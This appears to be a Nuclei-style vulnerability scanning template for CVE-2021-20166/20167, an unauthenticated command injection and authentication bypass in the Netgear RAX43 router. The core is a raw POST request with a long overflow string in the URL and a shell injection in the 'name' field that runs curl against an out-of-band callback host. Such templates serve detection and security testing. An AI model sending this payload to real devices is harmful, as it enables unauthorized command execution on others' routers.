33 lines
1.5 KiB
YAML
33 lines
1.5 KiB
YAML
id: CVE-2021-20167
|
|
|
|
info:
|
|
name: Netgear RAX43 - Unauthenticated Command Injection / Authentication Bypass Buffer Overrun via LAN Interface
|
|
author: gy741
|
|
severity: critical
|
|
description: This vulnerability uses a combination of CVE-2021-20166 and CVE-2021-20167. Netgear RAX43 version 1.0.3.96 contains a command injection and authbypass vulnerability. The readycloud cgi application is vulnerable to command injection in the name parameter. and The URL parsing functionality in the cgi-bin endpoint of the router containers a buffer overrun issue that can redirection control flow of the applicaiton.
|
|
reference:
|
|
- https://www.tenable.com/security/research/tra-2021-55
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-20166
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-20167
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.80
|
|
cve-id: CVE-2021-20167
|
|
cwe-id: CWE-94
|
|
tags: cve,cve2021,netgear,rce,router
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /cgi-bin/readycloud_control.cgi?1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/api/users HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
"name":"';$(curl http://{{interactsh-url}});'",
|
|
"email":"a@b.c"
|
|
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "http"
|